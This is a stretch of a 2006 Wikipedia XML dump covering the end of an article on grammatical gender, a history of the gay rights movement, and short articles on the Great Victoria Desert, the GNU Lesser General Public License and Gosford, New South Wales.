*[[Bosnian language|Bosnian]]
*[[Bulgarian language|Bulgarian]]
*[[Croatian language|Croatian]]
*[[Czech language|Czech]]
*[[Dutch language|Dutch]] (''masculine'' and ''feminine'' have merged, however, difference is still made; see the [[Dutch grammar#Nouns|section on nouns]] in the article on [[Dutch grammar]])
*[[Faroese language|Faroese]]
*[[German language|German]]
*[[Greek language|Greek]]
*[[Gujarati language|Gujarati]]
*[[Icelandic language|Icelandic]]
*[[Latin]]
*[[Marathi language|Marathi]]
*[[Norwegian language|Norwegian]]
*[[Old English language|Old English]]
*[[Old Prussian language|Old Prussian]]
*[[Polish language|Polish]]
*[[Romanian language|Romanian]]
*[[Russian language|Russian]]
*[[Sanskrit language|Sanskrit]]
*[[Serbian language|Serbian]]
*[[Slovak language|Slovak]]
*[[Slovenian language|Slovenian]]
*[[Sorbian language|Sorbian]]
*[[Ukrainian language|Ukrainian]]
*[[Yiddish language|Yiddish]]

====Three genders, other classifications====

*[[Klingon language|Klingon]] (being capable of speaking, body part and other)
{{col-end}}

===More than three grammatical genders/noun classes===
{{col-begin}}
{{col-2}}
*[[Swahili language|Swahili]]
*[[Zulu language|Zulu]]
*[[Dyirbal language|Dyirbal]]
*[[Bats language|Bats]]
*all [[Bantu language]]s
*some [[Slavic language]]s, including Russian and Czech, make certain grammatical distinctions between animate and inanimate nouns, but only in the masculine gender.
*[[Polish language|Polish]] distinguishes singular masculine animated versus inanimated nouns and plural masculine human vs. non-human nouns
*[[Swedish language|Swedish]] distinguishes masculine (han), feminine (hon), neuter (det) and non-masculine non-feminine non-neuter (den)
{{col-2}}

====More than three noun classes counting [[measure word]]s====
*[[Ainu language|Ainu]]
*[[Bengali language|Bangla (Bengali)]]
*[[Chinese language|Chinese]]
*[[Japanese language|Japanese]]
*[[Korean language|Korean]]
*[[Thai language|Thai]]
{{col-end}}

==Bibliography==
* Craig, Colette G. (1986). ''Noun classes and categorization: Proceedings of a symposium on categorization and noun classification, Eugene, Oregon, October 1983''. Amsterdam: J. Benjamins.
* Corbett, Greville G.  (1991) ''Gender'', Cambridge University Press &amp;mdash;A comprehensive study; looks at 200 languages. 
* Corbett, Geville (1994) &quot;Gender and gender systems&quot;. En R. Asher (ed.) ''The Encyclopedia of Language and Linguistics'', Oxford: Pergamon Press, pp. 1347--1353.
* Greenberg,  J. H. (1978) &quot;How does a language acquire gender markers?&quot;. En J. H. Greenberg et al.  (eds.) ''Universals of Human Language'', Vol. 4, pp. 47--82.
* Hockett, Charles F. (1958) ''A Course in Modern Linguistics'', Macmillan.
* Ibrahim, M. (1973) ''Grammatical gender. Its origin and development''. La Haya: Mouton.
* Iturrioz, J. L. (1986) &quot;Structure, meaning and function: a functional analysis of gender and other classificatory techniques&quot;. ''Función'' 1. 1-3.
* Meissner, Antje &amp; Anne Storch (eds.) (2000) ''Nominal classification in African languages'', Institut für Afrikanische Sprachwissenschaften, Johann-Wolfgang-Goethe-Universität, Frankfurt am Main. Köln: Rüdiger Köppe Verlag. ISBN 3-89645-014-X.
* [[Steven Pinker|Pinker, Steven]] (1994) ''[[The Language Instinct]]'', William Morrow and Company.

[[Category:Grammar]]

[[ca:Gènere (gramàtica)]]
[[da:Grammatisk køn]]
[[de:Genus]]
[[es:Género gramatical]]
[[eo:Genro]]
[[fr:Genre grammatical]]
[[it:Genere (linguistica)]]
[[la:Genus verborum]]
[[nl:Woordgeslacht]]
[[ja:性 (文法)]]
[[nn:Genus]]
[[pl:Rodzaj gramatyczny]]
[[pt:Gênero gramatical]]
[[ru:Род (грамматика)]]
[[fi:Genus]]
[[sv:Grammatiskt genus]]
[[zh:性]]</text>
    </revision>
  </page>
  <page>
    <title>Gay rights</title>
    <id>13070</id>
    <revision>
      <id>41986948</id>
      <timestamp>2006-03-03T01:35:33Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (3): occured→occurred, playright→playwright, seperate→separate</comment>
      <text xml:space="preserve">{{Limitedgeographicscope}}
{{Gay rights}}
The '''gay rights movement''', also called the '''LGBT rights movement''', is a [[social movement|social]] and [[political movement]] with the goal of achieving [[Social equality|equality]] for [[lesbian]], [[gay]], [[bisexuality|bisexual]] and [[transgender]]ed ([[LGBT]]) persons.

:''For the gay rights situation in specific countries, see [[:Category:Gay rights by country|Gay rights by country]].''

== The movement today ==

The [[gay]] rights social movement comprises a collection of loosely aligned [[civil rights]] groups, [[human rights]] groups, support groups and [[political activist]]s seeking acceptance, [[tolerance]] and [[social equality|equality]] for [[lesbian]], [[gay]], [[bisexuality|bisexual]], and [[transgender]] people, and related causes. Although it is typically referred to as the ''gay'' rights movement, members also promote the [[rights]] of groups of individuals who do not necessarily identify as being gay - see the article [[Homosexuality and Transgender]].

These views are considered controversial by some, and the [[gay]] rights movement is opposed by a variety of individuals and groups including some religious and political (traditionally though not exclusively [[conservative]]) groups.  Despite this controversy, many of these views have been taken up by mainstream professional organizations such as the American Psychological Association, the American Psychiatric Association, and the American Medical Association. Anti-gay-rights activists (for example, [[NARTH]]), however, say that these mainstream institutions have succumbed to political pressure rather than relying on a rational examination of the facts.   An example that is often cited is the controversy over the removal of homosexuality from the [[Diagnostic and Statistical Manual of Mental Disorders|DSM]]. In 1973, homosexuality was removed and replaced with &quot;Sexual Orientation Disturbance&quot; in the DSM-II; this was changed to &quot;Ego-Dystonic Homosexuality&quot; in the DSM-III and was removed entirely from the DSM-IV.

Although it is difficult to generalize, given the wide range of opinions and beliefs within the gay rights movement, most proponents of gay rights agree that all people deserve equal rights, equal respect and parity in law, regardless of their [[sexual orientation]], [[gender identity]] or gender expression, and that prejudice ([[homophobia]], [[biphobia]] and [[transphobia]]) is dangerous, not just to gay, lesbian, bisexual or transgender people, but to all members of society. It is also commonly argued that [[sexual orientation]] and [[gender identity]] are innate and cannot be consciously changed, and attempts to alter sexual orientation (see [[ex-gay]], [[reparative therapy]] and [[gender identity]]) are generally opposed in principle.

→See [http://www.pflag.org The PFLAG website] for more information on these beliefs.

== History ==
===Before 1860===
In [[Early Modern Europe|eighteenth]] and [[European_history#The_19th_century|nineteenth century Europe]], same-sex sexual behaviour and [[cross-dressing]] were widely considered to be socially unacceptable, and were serious crimes under [[sodomy]] and [[sumptuary law]]s. Any organised community or social life was underground and secret. The first voices began to call for social acceptance from 1790, when groups of militant 'sodomite-citizens' in Paris petitioned the [[Assemblée nationale]], the governing body of the [[French Revolution]], for freedom and recognition.{{ref|Blasius1}} In 1833, an anonymous English-language writer wrote a poetic defence of Captain Nicholas Nicholls, who had been sentenced to death in London for [[sodomy]]:
:''Whence spring these inclinations, rank and strong?''
:''And harming no one, wherefore call them wrong?''{{ref|Blasius2}}
Three years later in Switzerland, Heinrich Hoessli published the first volume of ''Eros: Die Mannerliebe der Griechen'' (&quot;Eros: The Male-love of the Greeks&quot;), another defence of same-sex love.{{ref|Blasius3}}

===1860 - 1933===
Modern historians usually look to German activist [[Karl Heinrich Ulrichs]] as the pioneer of the LGBT rights movement. Ulrichs [[coming out|came out]] publicly and began publishing books about same-sex love and gender variance in the [[1860s]], a few years before the term &quot;homosexual&quot; was first published in [[1869]]. Ulrichs' ''[[Uranian]]s'' were people with a range of gender expressions and same-sex desires; he considered himself &quot;a female psyche in a male body&quot;.

From the 1870s, social reformers in other countries had began to take up the Uranian cause, but their identites were kept secret for fear of reprisal. A secret British society called &quot;The Order of Chaeronea&quot; campaigned for the legalisation of homosexuality, and counted playwright [[Oscar Wilde]] among its members in the last decades of the 19th century.{{ref|McKenna}} In the 1890s, English [[socialism|socialist]] poet [[Edward Carpenter]] and Scottish [[anarchism|anarchist]] [[John Henry Mackay]] wrote in defense of same-sex love and [[androgyny]]; Carpenter and British [[pederasty|pederast]] [[John Addington Symonds]] contributed to the development of [[Havelock Ellis]]'s groundbreaking book ''Sexual Inversion'', which called for tolerance towards &quot;inverts&quot; and was suppressed when first published in England.

In Europe and America, a broader movement of &quot;[[free love]]&quot; was also emerging from the 1890s among [[first-wave feminism|&quot;first-wave&quot; feminists]] and a minority of radicals of [[the Left]]. They challenged [[Victorian era|Victorian]] sexual morality and attacked the traditional institutions of family and marriage that were seen to enslave women. Advocates of &quot;free love&quot; such as the Russian bisexual anarchist [[Emma Goldman]] spoke in defence of same-sex love and against repressive laws until the 1920s.

In [[1898]], German doctor and writer [[Magnus Hirschfeld]] formed the [[Scientific-Humanitarian Committee]] to campaign publicly against the notorious law &quot;[[Paragraph 175]]&quot;, which made sex between men illegal. [[Adolf Brand]] later broke away from the group, disagreeing with Hirschfeld's medical view of the &quot;[[third sex|intermediate sex]]&quot;, seeing male-male sex as merely an aspect of manly virility and male social bonding. Brand was the first to use &quot;[[outing]]&quot; as a political strategy, claming that German [[Chancellor of Germany|Chancellor]] [[Bernhard von Bülow]] engaged in homosexual activity.

[[Anna Rüling]], delivering a public speech in 1904 at the request of Hirschfeld, became the first female Uranian activist. Rüling, who also saw &quot;men, women, and homosexuals&quot; as three distinct genders, called for an alliance between the women's and sexual reform movements, but this speech is her only known contribution to the cause. Women only began to join the previously male-dominated sexual reform movement around 1910 when the German government tried to expand Paragraph 175 to outlaw sex between women. Heterosexual feminist leader [[Helene Stöcker]] became a prominent figure in the movement.

Hirschfeld, whose life was dedicated to social progress for homosexual and transgender people, formed the [[Institut für Sexualwissenschaft]] (Institute for Sexology) in 1919. The institute conducted an enormous amount of research, saw thousands of transgender and homosexual clients at consultations, and championed a broad range of sexual reforms including sex education, contraception and women's rights. However, the gains made in Germany would soon be drastically reversed with the rise of [[Nazism]], and the institute and its library were destoyed in [[1933]].

In the United States, several secret or semi-secret groups were formed explicitly to advance the rights of homosexuals as early as the turn of the twentieth century, but little is known about them ([http://www.infopt.demon.co.uk/suppress.htm Norton 2005]). A better documented group is Henry Gerber’s Society for Human Rights formed in Chicago in 1924), which was quickly suppressed ([http://hnn.us/articles/11316.html Bullough 2005]).

===1950 - 1968===
Immediately following [[World War II]], a number of homosexual rights groups came into being or were revived across the [[Western world]], in Britain, France, Germany, Holland, the Scandinavian countries and the United States. These groups usually preferred the term [[homophile]] to &quot;homosexual&quot;, emphasising love over sex.  The [[Homophile Movement|homophile movement]] included such 1950s groups as the [[Mattachine Society]], the [[Daughters of Bilitis]] and [[ONE, Inc.]] in the United States, COC in the Nethlands, the Arcadie circle in France and the [[Homosexual Law Reform Society]] in Britain. ONE Inc. was the first public homosexual organization in the U.S. ([http://williamapercy.com/pub-Comments-PercyGlover.htm Percy &amp; Glover 2005]), and ONE Magazine the first widely circulated gay and lesbian magazine. One Inc. was bankrolled by the extremely wealthy transsexual man [[Reed Erickson]].

The homophile movement was fairly conservative and it lobbied within established political systems for social acceptability. Any demonstrations were orderly and polite ([http://www.glbtq.com/social-sciences/stonewall_riots.html Matzner 2004]). By 1969, there were dozens of homophile organizations and publications in the U.S. ([http://williamapercy.com/BeforeStonewallReview.htm Percy 2005]), and a national organization had been formed, but they were largely ignored by the media. A 1965 gay march held in front of Independence Hall in Philadelphia, according to some historians, marked the beginning of the modern gay rights movement.

===1969 - 1986===
The [[new social movements]] of the sixties, such as the [[Black Power]] and [[Opposition to the Vietnam War|anti-Vietnam war]] movements in the U.S, the [[May 1968]] insurrection in France, and [[Feminist movement|Women's Liberation]] throughout the Western world, inspired some LGBT activists to become militant,{{ref|Matzner}} and the Gay Liberation Movement emerged towards the end of the decade. The English-speaking world marks the birth of the new gay radicalism at the [[Stonewall riots]] of [[1969]], when a group of transgender, lesbian and gay patrons at a bar in [[New York]] resisted a police raid.{{ref|Bullough}} 

Immediately after Stonewall, groups as the [[Gay Liberation Front]] (GLF) and the [[Gay Activists' Alliance]] (GAA) were formed. &quot;Out, loud and proud&quot;, they engaged in colorful [[street theater]] ([http://www.washingtonpost.com/wp-srv/style/longterm/books/chap1/perfectenemies.htm Gallagher &amp; Bull 1996]). The GLF’s ‘A Gay Manifesto’ set out the aims for the fledgling gay liberation movement, and influential intellectual [[Paul Goodman (writer)|Paul Goodman]] published “The Politics of Being Queer” (1969).  Chapters of the GLF were established across the US and in other parts of the Western world. The [[Front Homosexuel d'Action Révolutionnaire]] was formed in 1971 by lesbians who split from the [[Mouvement Homophile de France]] in 1971.

One of the values of the movement was [[gay pride]]. Organized by an early [[Gay Liberation Front|GLF]] leader [[Brenda Howard]], the Stonewall riots were commemorated by annual marches that became known as [[Pride parade|Pride parades]]. Over the years, the anarchistic Gay Liberation Movement of the early 1970s evolved into a more conservative and institutionalized movement that was more commonly referred to as the Gay Rights Movement. During this period, the [[International Lesbian and Gay Association]] (ILGA) was formed (1978), and it continues to campaign for lesbian and gay [[human rights]] with the [[United Nations]] and individual national governments.

[[Lesbian feminism]], which was most influential from the mid 1970s to the mid 1980s, encouraged women to direct their energies toward other women rather than men, and advocated lesbianism as the logical result of feminism. Many women of the Gay Liberation movement felt frustated at the domination of the movement by men and formed separate organisations; some who felt gender differences between men and women could not be resolved developed &quot;[[lesbian separatism]]&quot;. Disagreements between different political philosophies were, at times, extremely heated, and became known as the [[lesbian sex wars]]{{ref|sexwars}}, clashing in particular over views on [[sadomasochism]] and [[transsexuality]].

===1987 - present===
Some historians consider that a new epoch of the gay rights movement began in the 1980s with the advent of [[AIDS]], which decimated the leadership and shifted the focus for many.{{ref|PercyGlover}} This era saw a resurgence of militancy with [[direct action]] groups like [[AIDS Coalition to Unleash Power|ACT UP]] (formed in 1987), and its offshoots [[Queer Nation]] (1990) and the [[Lesbian Avengers]] (1992). Some younger activists, seeing &quot;gay and lesbian&quot; as increasingly normative and politically conservative, began using the word [[queer]] as a defiant statement of all [[sexual minority|sexual minorities]] and gender variant people. A less confrontational attempt to reunite the interests of lesbians, gays, bisexuals and transpeople occurred with the term [[LGBT]], which has now ([[as of 2006]]) become a commonplace descriptor of organisations that once described themselves as &quot;gay rights&quot; groups.

In the 1990s, organisations began to spring up in non-western countries, such as [[Progay Philippines]], which was founded in 1993 and organised the first Gay Pride march in Asia on June 26, 1994. In many countries, LGBT organisations remain illegal ([[as of 2006]]) and transgender and homosexual activists face extreme opposition from the state.


The 1990s also saw the emergence of [[transgender rights]] movements across the globe. [[Hijra]] activists campaigned for recognition as a [[third sex]] in India and [[Travesti]]-rights groups began to organise against police brutality across [[Latin America]], while activists in the United States formed militant groups such as [[Transsexual Menace]].

==See also==

* [[Age of consent]]
* [[Biphobia]]
* [[:Category:Bisexual community|Bisexual community]]
* [[Gay agenda]]
* [[Gay rights timeline]]
* [[History of Gays during the Holocaust]]
* [[Homophobia]]
* [[Homosexuality laws of the world]]
* [[Institut für Sexualwissenschaft]]
* [[International Lesbian and Gay Association]]
* [[:Category:LGBT civil rights|LGBT civil rights]]
* [[:Category:LGBT rights opposition|LGBT rights opposition]]
* [[List of gay-rights organizations]]
* [[List of transgender-related topics]]
* [[:Category:Marriage, unions and partnerships by country|Marriage, unions and partnerships by country]]
* [[Queer nationalism]]
* [[:Category:Same-sex marriage|Same-sex marriage]]
* [[Special rights]]

==References==
'''History'''
*{{note|Blasius}}Blasius, Mark and Phelan, Shane (eds.), 1997. &quot;We Are Everywhere: A Historical Sourcebook of Gay and Lesbian Politics&quot;,  New York: Routledge. ISBN 0415908590
*{{note|Blasius2}}ibid.
*{{note|Blasius3}}ibid.
*{{note|McKenna}}McKenna, Neil (2003), &quot;The Secret Life of Oscar Wilde: An Intimate Biography&quot;. (London: Century) ISBN 0712669868
*{{note|Bullough}}[http://hnn.us/articles/11316.html Bullough, Vern, “When did the Gay Right Movement Begin?”], April 18, 2005. Accessed on December 30, 2005.&lt;http://hnn.us/articles/11316.html&gt;
*{{note|Matzner}}[http://www.glbtq.com/social-sciences/stonewall_riots.html Matzner, Andrew, “Stonewall Riots”], glbtq: An Enclopedia of Gay, Lesbian, Bisexual, Transgender, &amp; Queer Culture, Claude J. Summers, ed. 2004. Accessed on December 30, 2005.&lt;http://www.glbtq.com/social-sciences/stonewall_riots.html&gt;
*{{note|PercyGlover}}[http://williamapercy.com/pub-Comments-PercyGlover.htm Percy, William A. &amp; William Edward Glover, “Before Stonewall by Glover &amp; Percy”], November 5, 2005. Accessed on December 30, 2005. &lt;http://williamapercy.com/pub-Comments-PercyGlover.htm&gt;
*{{note|sexwars}}[http://www.glbtq.com/social-sciences/lesbian_sex_wars.html Lesbian Sex Wars] article by Elise Chenier from GLBTQ encyclopedia.

*[http://www.washingtonpost.com/wp-srv/style/longterm/books/chap1/perfectenemies.htm Gallagher, John &amp; Chris Bull, ''Perfect Enemies: The Religious Right, the Gay Movement, and the Politics of the 1990s''], 1996, Crown, 300 pp. Accessed on December 30, 2005.&lt;http://www.washingtonpost.com/wp-srv/style/longterm/books/chap1/perfectenemies.htm&gt;

*[http://www.infopt.demon.co.uk/suppress.htm Norton, Rick, “The Suppression of Lesbian and Gay History”], February 12, 2005, updated April 5, 2005. Accessed on December 30, 2005.&lt;http://www.infopt.demon.co.uk/suppress.htm&gt;

*[http://williamapercy.com/BeforeStonewallReview.htm Percy, William A., Review of “Before Stonewall: Activists for Gay and Lesbian Rights”,] November 22, 2005. Accessed on December 30, 2005.&lt;http://williamapercy.com/BeforeStonewallReview.htm&gt;

* [http://www.narth.com/docs/schoenewolf2.html Schoenewolf, Gerald, &quot;Gay Rights and Political Correctness: A Brief History&quot;] Updated April 4, 2005. &lt;http://www.narth.com/docs/schoenewolf2.html&gt; 

* [http://ajp.psychiatryonline.org/cgi/content/abstract/138/2/210 Spitzer, RL, &quot;The diagnostic status of homosexuality in DSM-III: a reformulation of the issues.&quot;] Am J Psychiatry. 1981 Feb;138(2):210-5. &lt;http://ajp.psychiatryonline.org/cgi/content/abstract/138/2/210?

== External links ==
* [http://www.iglhrc.org/files/iglhrc/reports/990604-antidis.pdf Antidiscrimination Legislation, April 1999, a worldwide summary] IGLHRC (pdf)
* [http://www.iglhrc.org/site/iglhrc/ International Gay and Lesbian Human Rights Commission] (IGLHRC)
* [http://www.ilga.info/Information/Legal_survey/ilga_world_legal_survey%20introduction.htm International Lesbian and Gay Association World Legal Survey] (2000)
* [http://www.ilga.org/steph/StateHomophobia3.jpg State Homophobia], world map, ILGA (2004)
* [http://www.iglhrc.org/site/iglhrc/content.php?type=1&amp;id=77 Where Having Sex is a Crime: Criminalization and Decriminalization of Homosexual Acts], IGLHRC (2003)
* [http://www.iglhrc.org/site/iglhrc/content.php?type=1&amp;id=91 Where You Can Marry: Global Summary of Registered Partnership, Domestic Partnership, and Marriage Laws], IGLHRC (November 2003)

==Further reading==

*Bullough, Vern L. (ed.)  [http://williamapercy.com/pub-Stonewall.htm ''Before Stonewall:  Activists for Gay and Lesbian Rights in Historical Context''], New York, London, Oxford: Harrington Park Press, 2002

*Johansson, Warren and Percy, William A.  [http://williamapercy.com/pub-Outing.htm ''Outing:  Shattering the Conspiracy of Silence.'']  New York and London: Haworth Press, 1994.

[[Category:LGBT civil rights]]
[[Category:Activism]]
[[Category:Political movements]]
[[Category:Politics by issue]]
[[Category:LGBT history]]

[[bg:Гей-права]]
[[de:Lesben- und Schwulenbewegung]]
[[et:Geiliikumine]]
[[it:Movimento di liberazione omosessuale]]
[[hu:LMBT törvények]]
[[pt:Direitos dos homossexuais pelo mundo]]
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  <page>
    <title>Great Victoria Desert</title>
    <id>13072</id>
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      <text xml:space="preserve">The '''Great Victoria Desert''' is a barren, arid and sparsely populated [[desert]] [[ecoregion]] in southern [[Australia]]. It falls inside the states of [[South Australia]] and [[Western Australia]] and consists of many small [[sandhill]]s, [[grassland]]s and [[salt lake]]s. It is over 700 [[kilometre]]s (435 [[mile]]s) wide (from [[west]] to [[east]]) and covers and area of 424,400 square kilometers (163,900 mile&amp;sup2;). The [[Western Australia Mallee shrub]] ecoregion lies to the west, the [[Little Sandy Desert]] to the northwest, the [[Gibson Desert]] and the [[Central Ranges xeric shrublands]] to the north, the [[Tirari-Sturt stony desert]] to the west, and the [[Nullarbor Plain]] to the south separates it from the [[Southern Ocean]].

Due to the aridity and dryness of the desert, almost no [[agriculture|farming]] activity is carried out there, and it is a protected area of Western Australia, .

The average annual [[rain|rainfall]] is low, but not as low as many [[desert]]s, ranging from 200 to 250 [[millimetre|mm]] (8 to 10 [[inch|in]]) per year. Thunderstorms are relatively common in the Great Victoria Desert, with an average of 15 - 20 thunderstorms per annum. Summer daytime temperatures range from 32 to 40 [[Degree Celsius|°C]] (90 to 104 [[Fahrenheit|°F]]). In winter, this falls to 18 to 23 °C (64 to 75 °F). Snow never falls in the Great Victoria Desert.

It is inhabited by many different groups of [[Indigenous Australians]], including the [[Kogara]] and the [[Mirning]].

In [[1875]], [[United Kingdom|British]] [[exploration|explorer]] [[Ernest Giles]] became the first [[European]] to cross the desert. He named the desert after the then-reigning British monarch, [[Victoria of the United Kingdom|Queen Victoria]].

==See also==
*[[Australasia ecozone]]
*[[Ecoregions of Australia]]

==External links==
*[http://home.iprimus.com.au/ozthunder/oz/gibson.html Climate of the Great Victoria Desert and Gibson Desert]

[[Category:Deserts of Australia]]
[[Category:Ecoregions of Australia]]
[[Category:Protected areas of Western Australia]]

[[de:Große Victoria-Wüste]]
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[[pl:Wielka Pustynia Wiktorii]]</text>
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  <page>
    <title>GNU Lesser General Public License</title>
    <id>13073</id>
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      <comment>/* External links */ [[id:LGPL]]</comment>
      <text xml:space="preserve">[[Image:Heckert GNU white.svg|thumb|200px|right|[[GNU]] logo]]

The '''GNU Lesser General Public License''' (formerly the '''GNU Library General Public License''') is an [[Free Software Foundation|FSF]] approved [[free software]] license designed as a compromise between the [[GNU General Public License]] and simple permissive licenses such as the [[BSD license]] and the [[MIT License]].  It was written in [[1991]] (and updated in [[1999]]) by [[Richard Stallman]] and [[Eben Moglen]].

The main difference between the [[GNU General Public License|GPL]] and the LGPL is that the latter can be linked to a non-(L)GPLed program, which may be free software or [[proprietary software]], if the terms allow &quot;modification for the customer's own use and reverse engineering for debugging such modifications.&quot; &lt;!-- commented-out - see talk:  Another major difference is that derivative works (which are not GPLed) must be software libraries.--&gt;

The LGPL places [[copyleft]] restrictions on the program itself but does not apply these restrictions to other software that merely links with the program.  There are, however, certain other restrictions on this software.  Essentially, it must be possible for the software to be linked with a newer version of the LGPL-covered program.  The most commonly used method for doing so is to use &quot;a suitable [[shared library]] mechanism for linking&quot;.  Alternatively, [[Statically linked library]] is allowed if either source code or linkable object files are provided.

The LGPL is primarily intended for [[Library (computer science)|software libraries]], although it is also used by applications such as [[OpenOffice.org]] and [[Mozilla]].

One feature of the LGPL is that one can convert any LGPLed piece of software into a GPLed piece of software (section 3 of the license).  This feature is useful if one wants to create a version of the code that software companies cannot use in proprietary software products.  It is also necessary to ensure that the LGPL is &quot;GPL-compatible&quot;, so that GPL-covered programs can use LGPL-covered libraries.

The former name of &quot;GNU Library General Public License&quot; gave some people the impression that the FSF wanted all libraries to use the LGPL and all programs to use the GPL.  In [[1999]], [[Richard Stallman]] wrote an essay explaining why this was not the case, and that one shouldn't ''necessarily'' use the LGPL for libraries.

:''Which license is best for a given library is a matter of strategy, and it depends on the details of the situation. At present, most GNU libraries are covered by the Library GPL, and that means we are using only one of these two strategies'' &lt;nowiki&gt;[allowing/disallowing proprietary programs to use a library]&lt;/nowiki&gt; '', neglecting the other. So we are now seeking more libraries to release under the ordinary GPL.''

Contrary to popular impression, however, this does not mean that the FSF [[deprecation|deprecate]]s  the LGPL, but merely says that it shouldn't be used for ''all'' libraries &amp;mdash; the same essay goes on to say:

:''Using the ordinary GPL is not advantageous for every library. There are reasons that can make it better to use the Library GPL in certain cases.''

Indeed, Stallman and the FSF sometimes advocate licenses even less restrictive than the LGPL as a matter of strategy (to maximize the freedom of users). A prominent example was Stallman's endorsement of the use of a [[BSD license|BSD-style]] license by the [[Vorbis]] project for its libraries [http://lwn.net/2001/0301/a/rms-ov-license.php3].

The license uses terminology which is mainly intended for applications written in [[C programming language]] or its family. Franz Inc. published its own preamble to the license to clarify terminology in [[Lisp programming language]] context. LGPL with this preamble is sometimes referred as LLGPL. [http://opensource.franz.com/preamble.html]

== See also ==
*[[BSD and GPL licensing]]
*[[GNU Free Documentation License]]
*[[GNU General Public License]]
*[[GNAT Modified General Public License]]

==External links==
*[http://www.gnu.org/copyleft/lesser.html Text of the new &quot;Lesser&quot; GPL]
*[http://www.gnu.org/copyleft/lgpl.html Text of the old &quot;Library&quot; GPL]
*Richard Stallman, &quot;[http://www.gnu.org/licenses/why-not-lgpl.html Why you shouldn't use the Library GPL for your next library]&quot; (February 1999).

[[Category:Computer law]]
[[Category:Copyleft licensing]]
[[Category:Free software licenses]]
[[Category:GNU project]]

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[[fr:Licence publique générale limitée GNU]]
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[[zh:GNU宽通用公共许可证]]</text>
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    <title>GNU Library General Public License</title>
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        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[GNU Lesser General Public License]]
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  </page>
  <page>
    <title>Gosford, New South Wales</title>
    <id>13075</id>
    <revision>
      <id>42070056</id>
      <timestamp>2006-03-03T16:42:32Z</timestamp>
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      <comment>changes to intro</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right; margin: 0 0 1em 1em; background: #dddddd;  width: 25%; padding: 3pt;&quot;&gt;
'''Gosford'''
* Country: [[Australia]]
* State: [[New South Wales]]
* Location: {{coor dm|33|22|S|151|20|E|}}
* Gosford Council Area: 940.2 km&lt;sup&gt;2&lt;/sup&gt;
* Population (2001): 154,654
* [[Postal code|Postcodes]]: 2250, 2251, 2256, 2257, 2260
&lt;/div&gt;
'''Gosford''' is the main town of the [[Central Coast, New South Wales|Central Coast]] of [[New South Wales]], located approximately 70 km north of the [[Sydney]] [[Central business district|Central Business District]] (CBD). The city is situated at the northern extremity of [[Brisbane Water]], an extensive northern branch of the [[Hawkesbury River]] [[estuary]] and [[Broken Bay]]. The town is the administrative centre of [[Gosford City Council]], which along with [[Wyong Shire Council|Wyong Shire]] forms the Central Coast. Gosford is often recognised as being part of the [[Sydney]] Metropolitan Area.

==History==
Prior to European settlement, the area around Gosford were occupied by two groups of [[Australian Aborigine]]s, the [[Guringai]] and [[Darkinjung]] peoples, with the Guringai being principally coastal-dwellers and the Darkingung occupying land to the west.

Along with the other land around the Hawkesbury River estuary, the Brisbane Water district was explored during the [[History of Sydney|early stages]] of the settlement of Sydney.  In the early [[1800s]] some pioneering European settlers began occupying the land, for timber-cutting (mainly [[ironbark]] and [[Toona ciliata|Australian red cedar]]), [[Calcium oxide|lime]] production and [[grazing]].

Gosford itself was founded as a government township in the [[1830s]], originally to be named [[Point Frederick, New South Wales|Point Frederick]], but named Gosford at the direction of the Governor of NSW.  The name Point Frederick is now used for a suburb and the spit of land it occupies, stretching southwards from Gosford.  Since shipping was the principal form of transport, the position at the northernmost end of Brisbane water provided access to the timber and other developing primary industries in the valleys of Narara Creek to the north and Erina Creek to the east.  By the late 1800s the agriculture in the region was diversifying, with [[market garden]]s and citrus orchards occupying the rich soil left after the timber harvest.  In [[1887]] the rail link to Sydney was completed, requiring a bridge over the Hawkesbury River and a tunnel through the sandstone ridge west of [[Woy Woy, New South Wales|Woy Woy]].  The introduction of this transport link, and then the [[Pacific Highway (Australia)|Pacific Highway]] in [[1930]] accelerated the development of the region.

Prior to 1947, the town of Gosford was part of the Erina Shire.  In January of 1980, Gosford was declared a city.

==General information==

Gosford proper is located in a valley with '''President's Hill''' on the city's western border and '''Rumbalara Reserve''' on its eastern border, and '''Brisbane water''' to the city's south.  The city's main street runs north-south and is called '''Mann Street''' and there are a number of small shops and cafes on this street.  Mann Street also forms part of the old '''Pacific Highway''' which winds its way up the coast from [[Sydney]] to [[Brisbane]], [[Queensland]].

The Imperial centre, the city's main shopping complex, also has a major frontage on Mann Street.  Most of the central coast's buses to eastern suburbs (run by 2 private companies), like [[Erina, New South Wales|Erina]] and [[Terrigal, New South Wales|Terrigal]] travel via Mann Street.  Also on Mann Street is '''William Street Mall''' which runs east-west (which is bound by Mann Street and Mortimer Lane), which was upgraded in 2004.

The city centre focuses around '''Kibble Park''' (a small park which is bound by Henry Parry Drive, William Street, Donnison Street and Eliza Street). and the '''Gosford city library''' (located on Donnison Street).  There are many small events and minor festivals that get held in Kibble Park such as the 'Crazy Day Sales' (run by Gosford chamber of Commerce).

Gosford is also home to [[Gosford Hospital]] - the largest hospital on the central coast, the Central Coast Conservatorium (home the original Gosford Court.  The Gosford court is now on the south eastern corner of Henry Parry Drive and Donnison Streets) and the newly built [[Central Coast Stadium]] (completed in 2001).  The city also hosted 3 games of the '''2003 Rugby Union World Cup'''.  In [[2005]] the Central Coast became the home of an [[A-League]] soccer team - the [[Central Coast Mariners FC|Central Coast Mariners]].  Adjacent to Gosford city itself, is the Gosford Racecourse and the Gosford showgrounds.  Directly east of the city is Rumballara reserve which encompasses the ridgeline which serves as the city's eastern border.

While central Gosford is somewhat run down at the moment - with businesses moving to near by Erina and, in particular, [[Erina Fair]] - new highrise apartments are being built in and around the CBD to accommodate people wanting to live near the railway station.  The NSW State Government also relocated the headquarters of its workers' compensation fund administration to Gosford in 2002 to a distinctive modern building on Donnison Street, near to the Central Coast Leagues Club.

==See also==
*[[List of cities in Australia]]

==External links==
* [http://www.gosford.nsw.gov.au/ Gosford city council website]
* [http://www.cctourism.com.au/ Central Coast tourism]
* [http://www.ccrdc.org.au/ Central Coast regional development organisation website]
* NSW Department of Local Government: [http://www.dlg.nsw.gov.au/dlg/dlghome/dlg_Regions.asp?regiontype=2&amp;slacode=3100&amp;region=SS Suburbs and Towns in Gosford Council] (includes map)
* [http://maps.google.com/maps?ll=-33.426427,151.342163&amp;spn=0.050699,0.065802&amp;t=k&amp;hl=en Google Maps view of Gosford] showing (from West to East) Narara Creek, President's Hill, the Gosford CBD, Rumbalara Reserve and Erina Creek, with Brisbane Water to the South.
